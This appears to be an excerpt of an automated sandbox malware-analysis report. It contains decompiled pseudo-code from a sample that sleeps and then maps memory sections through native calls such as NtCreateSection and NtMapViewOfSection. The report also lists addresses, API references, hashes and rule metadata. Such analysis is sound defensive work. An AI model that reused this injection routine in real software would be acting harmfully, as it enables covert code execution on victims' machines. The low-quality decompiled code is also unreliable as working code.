											if( *_t199 == 0) {
												break;
											}
											_t179 =  *_t199;
											_t199 = _t199 + 8;
											asm("lodsw");
											__eflags = 0;
											if(0 != 0) {
												 *0x00000000 =  *0x00000000 - _t169;
												__eflags =  *((intOrPtr*)( *(_t205 - 0x48) + 0 + _t179));
											}
											asm("loop 0xffffffe9");
										}
										_pop(_t200);
										__eflags = 0;
										_t110 = _t205 - 4;
										 *_t110 = 0;
										 *((intOrPtr*)(_t130 + 0x98))( *(_t205 - 0xc), 0, 0, 0, 0, 0,  *((intOrPtr*)(_t200 + 0x28)) +  *(_t205 - 0x40),  *(_t205 - 0x3c), _t110, 0);
									} else {
										L57();
										_pop(_t180);
										_t181 = _t180 - 0x17da;
										 *((intOrPtr*)(_t181 + 0x180e)) = _t181 + 0x2f6c;
										E00401217(_t130, _t228, _t230, _t181 + 0x2f6c, 0x1ad);
										0x33();
										 *((intOrPtr*)(_t181 + 0x1833)) = _t181 + 0x2fbc;
										0x33();
									}
								}
							}
						}
					}
				}
				asm("les eax, [ebx+ebp*8]");
				__eax = E0040119E(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags, __fp0);
				__edi = 0xc0;
				__esi = 0x38d;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401529
0x00401536
0x0040153b
0x0040153e
0x0040155a
0x0040155c
0x00401561
0x00401566
0x0040156f
0x00401571
0x00401571
0x00401574
0x00401574
0x00401579
0x00000000
0x00000000
0x004018a3
0x004018a3
0x0040157f
0x00401582
0x00401585
0x00401589
0x0040158c
0x00401590
0x00401596
0x00401599
0x0040159b
0x0040159e
0x004015a4
0x004015a7
0x004015b5
0x004015b6
0x004015b7
0x004015b9
0x004015bf
0x004015e2
0x004015e5
0x004015e8
0x004015eb
0x004015f1
0x00401606
0x0040160b
0x0040160e
0x00401611
0x00401629
0x0040162b
0x0040162e
0x00401647
0x00401649
0x00401653
0x00401659
0x0040165f
0x0040165f
0x00401647
0x00401629
0x00401662
0x0040166e
0x00401671
0x00401673
0x00401688
0x0040169b
0x0040169e
0x004016a1
0x004016b9
0x004016bf
0x004016c2
0x004016c4
0x004016d9
0x004016db
0x004016e1
0x004016e6
0x004016ea
0x004016ec
0x004016ec
0x004016ec
0x004016ed
0x00401717
0x00401740
0x00401741
0x00401744
0x0040175b
0x0040176a
0x00401772
0x00401777
0x00401780
0x00401789
0x00401795
0x00401797
0x0040179b
0x0040179c
0x004017a2
0x004017ac
0x004017ac
0x004017a4
0x004017a4
0x004017a4
0x004017b2
0x004017b3
0x004017b8
0x004017c6
0x004017c6
0x004017c6
0x004017cc
0x004017ce
0x004017cf
0x004017d3
0x0040183b
0x0040183f
0x0040184a
0x0040184a
0x0040184d
0x0040184d
0x00401850
0x00000000
0x00000000
0x00401852
0x0040185c
0x00401861
0x00401863
0x00401868
0x00401874
0x00401874
0x00401874
0x00401876
0x00401876
0x0040187a
0x00401881
0x00401883
0x00401886
0x00401896
0x004017d5
0x004017d5
0x004017da
0x004017db
0x004017f1
0x00401800
0x0040180d
0x00401824
0x00401832
0x00401832
0x004017d3
0x004016db
0x004016b9
0x00401688
0x004015bf
0x004018e0
0x004018e9
0x004018ee
0x004018ef
0x004018f0
0x004018f1
0x004018f1
0x004018f2

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401624
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401642
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 00401683
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016B4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016D6

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction ID: 7b0ff6212a6efac6393312b74af7fae11c4648ab5a07736769ecee7b68bffce7
Opcode Fuzzy Hash: 10c6edddafc57620bab8f3e0fcce4b25055591cdbf7263b2c41a15db1795c36d
Instruction Fuzzy Hash: 23512A75900205BFEB209F91CC48FAF7BB8EF85B00F14416AFA12BA2E5D7759941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 023D003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 023D024D

Strings

cess, xrefs: 023D018D
kernel32.dll, xrefs: 023D008F, 023D0095

Memory Dump Source

Source File: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23d0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 090c17577752addc852be46cdb85d1a3ee30e49251c4315ba011aac6367306e5
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 37526975A01229DFDB64CF68D984BACBBB5BF09304F1480D9E94DAB351DB30AA85CF14

Uniqueness

Uniqueness Score: -1.00%

Function 023D0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,023D0223,?,?), ref: 023D0E19
SetErrorMode.KERNELBASE(00000000,?,?,023D0223,?,?), ref: 023D0E1E

Memory Dump Source

Source File: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23d0000_file.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 56411ebd0f8801349df1e46e72ce85dfc56ad31ca120a804b04ccc5bc591eade
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 56D0123214512877D7002AA4DC09BCD7B1CDF05F66F008011FB0DD9080C770964046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB0D Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040AB3E

Memory Dump Source

Source File: 00000000.00000002.306628225.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction ID: e21ef1c2ef5742ed6df4c513a471f963e85952df7da7595b2434280adc956e00
Opcode Fuzzy Hash: 680e49ecc13cbe48de0f56ca14d717ea81e7880006487745ee42aac639f80b93
Instruction Fuzzy Hash: D4F089376042115ED62576356C4887B267ADA8A329315553BFA92E3280E9384D9382AE

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE0A Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040AE1F

Memory Dump Source

Source File: 00000000.00000002.306628225.0000000000409000.00000020.00000001.01000000.00000003.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_409000_file.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 86bb173900be1e7c4cae52610605200daff4d89e21498a291d5a1fe2391a2e09
Instruction ID: 57a4f34e49894ebdd88181c0cf8bc26615109573f2c93ee400d50f5dc97e9698
Opcode Fuzzy Hash: 86bb173900be1e7c4cae52610605200daff4d89e21498a291d5a1fe2391a2e09
Instruction Fuzzy Hash: BDD05E326A03449BDB105FB0AE087623BDCD788795F048436B90CD6590E578C560C548

Uniqueness

Uniqueness Score: -1.00%

Function 00401910 Relevance: 1.3, APIs: 1, Instructions: 60
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401910(void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				asm("sbb ebp, ebx");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, 0x6f, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401910
0x00401910
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction ID: 2421212cf9775cb4e82dc684017396ff3ea1ef4e86c58c10a51bd6cb4b6bc29e
Opcode Fuzzy Hash: 21e8c1f2be0fad2efb5be0a18617022cf06a06a2fa368ed1ac733ca737364c66
Instruction Fuzzy Hash: D00184B2708205EADB10AB95DC61ABA33149B45354F204537FA13B90F6C63D8513E76B

Uniqueness

Uniqueness Score: -1.00%

Function 004018F5 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E004018F5(void* __eflags, void* __fp0, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t19;
				void* _t20;
				void* _t21;
				intOrPtr* _t22;

				_t24 = __eflags;
				_push(0xab);
				_t19 =  *_t22;
				E0040119E(0x193e, _t16, 0x6f, _t19, _t20, _t21, __eflags, __fp0);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E00401419(_t17, _t20, _t21, _t24, __fp0); // executed
				_t25 = _t11;
				if(_t11 != 0) {
					E00401514(_t25, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t17 = _t17 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				return __eax;
			}

0x004018f5
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction ID: e1afb8008e98de97791c5ed59cb83e73cde9cb9d6ac916766b20bfdf9a8cc7b7
Opcode Fuzzy Hash: a4c832dc0da8ffc0caac80191dd9234b0867b31759a266d3bb8d5a00fc49371a
Instruction Fuzzy Hash: 66018CF130C209FAEB106A948C71ABA36299B81314F300133BA13790F5C53D8A13E66F

Uniqueness

Uniqueness Score: -1.00%

Function 00401900 Relevance: 1.3, APIs: 1, Instructions: 54
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 40%

			E00401900(void* __eax, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t14;
				void* _t20;
				intOrPtr* _t21;
				intOrPtr _t24;
				void* _t27;
				intOrPtr* _t28;
				intOrPtr _t30;

				_pop(_t20);
				_pop(_t28);
				_t1 = __eax + 0x193e;
				 *_t1 =  *((intOrPtr*)(__eax + 0x193e)) - _t20;
				_t30 =  *_t1;
				_push(0xab);
				_t24 =  *_t28;
				E0040119E(0x193e, _t20, 0x6f, _t24, __edi, __esi, _t30, __fp0);
				_t21 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t21); // executed
				_t14 = E00401419(_t21, __edi, __esi, _t30, __fp0); // executed
				_t31 = _t14;
				if(_t14 != 0) {
					E00401514(_t31, _t21, _t14,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t21();
				_t21 = _t21 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401902
0x00401903
0x00401904
0x00401904
0x00401904
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction ID: c80725063fa5cd5d3bf9caad683ad8039253a2745de3db8bb1ccfc6e48a334a0
Opcode Fuzzy Hash: b4182ac66895bd812ae315ac775f9ddb541a2cbfab70aa13ec0e46e49fa29885
Instruction Fuzzy Hash: BA015EF130C205EAEB105A949C71ABA36159B85314F304137BA53790F6C53D8A13E66B

Uniqueness

Uniqueness Score: -1.00%

Function 0040190C Relevance: 1.3, APIs: 1, Instructions: 53
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 45%

			E0040190C(void* __eax, void* __ebx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t14;
				intOrPtr* _t20;
				intOrPtr _t22;
				void* _t26;
				intOrPtr* _t27;

				_t29 = __eflags;
				_t25 = __eax;
				_push(0xab);
				_t22 =  *_t27;
				E0040119E(0x193e, __ebx, 0x6f, _t22, __edi, __eax, __eflags, __fp0);
				_t20 =  *((intOrPtr*)(_t26 + 8));
				Sleep(0x1388);
				_push(_t26 - 4);
				_push( *((intOrPtr*)(_t26 + 0x10)));
				_push( *((intOrPtr*)(_t26 + 0xc)));
				_push(_t20); // executed
				_t14 = E00401419(_t20, __edi, _t25, _t29, __fp0); // executed
				_t30 = _t14;
				if(_t14 != 0) {
					E00401514(_t30, _t20, _t14,  *((intOrPtr*)(_t26 - 4)),  *((intOrPtr*)(_t26 + 0x14))); // executed
				}
				 *_t20();
				_t20 = _t20 + 0x6f;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x0040190c
0x0040190c
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction ID: 5c6be3d6fa264534ea991e23dffef21807595c3374f62bed89ca8c6d847c6ab3
Opcode Fuzzy Hash: d7d75899f1d3c21672ccbd88ffa7d7ebbf0127e2ec3ce50d705c7a6544b2d48f
Instruction Fuzzy Hash: B9011AF1708205EAEB119A949C71ABA32259B85314F304133BA13791F6C67D8A53E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401921 Relevance: 1.3, APIs: 1, Instructions: 46
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 42%

			E00401921(void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t8;
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;

				_t25 = __eflags;
				_t18 = __ecx;
				asm("scasb");
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(_t8, __ebx, __ecx, _t19, __edi, __esi, __eflags, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401921
0x00401921
0x00401921
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction ID: a99f987fb3800db72710cdf5a38ca902ccd841e4d5acefe62a501ff3cd3cf7f9
Opcode Fuzzy Hash: 693661f4213d3c5ffc7fae7b320bed850bc44b842b5e723aa5eaeaecf4b826f3
Instruction Fuzzy Hash: 54013CF2708205FAEB109A959C61ABA36299F45354F304137BA13790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401925 Relevance: 1.3, APIs: 1, Instructions: 44
sleepCOMMON

Download Yara Rule

C-Code - Quality: 43%

			E00401925(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __eflags, void* __fp0) {
				void* _t13;
				intOrPtr* _t19;
				void* _t20;
				intOrPtr _t21;
				void* _t25;
				intOrPtr* _t26;

				_t28 = __eflags;
				_t20 = __ecx;
				_t24 = __eax;
				asm("a16 push 0xab");
				_push(0xab);
				_t21 =  *_t26;
				E0040119E(__esi, __ebx, __ecx, _t21, __edi, __eax, __eflags, __fp0);
				_t19 =  *((intOrPtr*)(_t25 + 8));
				Sleep(0x1388);
				_push(_t25 - 4);
				_push( *((intOrPtr*)(_t25 + 0x10)));
				_push( *((intOrPtr*)(_t25 + 0xc)));
				_push(_t19); // executed
				_t13 = E00401419(_t19, __edi, _t24, _t28, __fp0); // executed
				_t29 = _t13;
				if(_t13 != 0) {
					E00401514(_t29, _t19, _t13,  *((intOrPtr*)(_t25 - 4)),  *((intOrPtr*)(_t25 + 0x14))); // executed
				}
				 *_t19();
				_t19 = _t19 + _t20;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401925
0x00401925
0x00401925
0x00401926
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction ID: b0ff338450a25d5b6aa89585593cf6bc9af60e6e70e63708ff4a4873c551fa89
Opcode Fuzzy Hash: fb6d829510aa024f80ad68b07e155414bf1d60313f026e30baced06c17c35cd9
Instruction Fuzzy Hash: 36F04FB2308205EBEB019B95DC61ABA37299F45714F204533BA53790F6C63D8A13E76B

Uniqueness

Uniqueness Score: -1.00%

Function 00401934 Relevance: 1.3, APIs: 1, Instructions: 40
sleepCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00401934(void* __eax, void* __ebx, void* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t11;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t19;
				void* _t22;
				intOrPtr* _t23;
				void* _t25;

				_t18 = __ecx;
				_t25 = __eax - 0x11efebd3;
				_push(0xab);
				_t19 =  *_t23;
				E0040119E(__eax, __ebx, __ecx, _t19, __edi, __esi, _t25, __fp0);
				_t17 =  *((intOrPtr*)(_t22 + 8));
				Sleep(0x1388);
				_push(_t22 - 4);
				_push( *((intOrPtr*)(_t22 + 0x10)));
				_push( *((intOrPtr*)(_t22 + 0xc)));
				_push(_t17); // executed
				_t11 = E00401419(_t17, __edi, __esi, _t25, __fp0); // executed
				_t26 = _t11;
				if(_t11 != 0) {
					E00401514(_t26, _t17, _t11,  *((intOrPtr*)(_t22 - 4)),  *((intOrPtr*)(_t22 + 0x14))); // executed
				}
				 *_t17();
				_t17 = _t17 + _t18;
				__ecx = 0x6f;
				__edx = 0xab;
				__eax = E0040119E(__eax, __ebx, __ecx, 0xab, __edi, __esi, __eflags, __fp0);
				__edi = 0xffffffff;
				__esi = 0;
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x00401934
0x00401934
0x00401927
0x0040192c
0x00401939
0x0040193e
0x00401946
0x0040194c
0x0040194d
0x00401950
0x00401953
0x00401954
0x00401959
0x0040195b
0x00401965
0x00401965
0x0040196e
0x0040197c
0x0040198d
0x0040199c
0x004019a8
0x004019ad
0x004019ae
0x004019af
0x004019b0
0x004019b0
0x004019b1

APIs

Sleep.KERNELBASE(00001388), ref: 00401946

Part of subcall function 00401514: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015D4
Part of subcall function 00401514: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401601

Memory Dump Source

Source File: 00000000.00000002.306617287.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateDuplicateObjectSectionSleep
String ID:
API String ID: 4152845823-0
Opcode ID: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction ID: 9499ee2aead6bf7bd52ecc6e282b1c5f7567d2022060853a6c33904b9a08ada9
Opcode Fuzzy Hash: 5342b53e28553ac5f786c1fafb6bd434548c179d4d59d8b70bfb48ced3a581c6
Instruction Fuzzy Hash: A0F06DB2204205EAEB005A958C61ABE37289F44314F204133BA13B90F2C63D8612E76B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 023D092B Relevance: 3.8, Strings: 3, Instructions: 90COMMON

Download Yara Rule

Strings

GetProcAddress., xrefs: 023D09DC, 023D09DF, 023D09E4
l, xrefs: 023D0966
., xrefs: 023D095F

Memory Dump Source

Source File: 00000000.00000002.306905404.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 023D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_23d0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: .$GetProcAddress.$l
API String ID: 0-2784972518
Opcode ID: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction ID: 5b6bd55f6f919b928c6b7b09ba6598d672bef0367842a785d544d999132876dc
Opcode Fuzzy Hash: 067b9ac1cfdfa220879cc7a8ef70782a20aa364414f13e2dc252473fde93e59c
Instruction Fuzzy Hash: 22316AB6900609DFDB14CF99D880AAEBBF9FF48724F14404AD841A7311D7B1EA45CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 0040244C Relevance: 3.0, Strings: 2, Instructions: 523
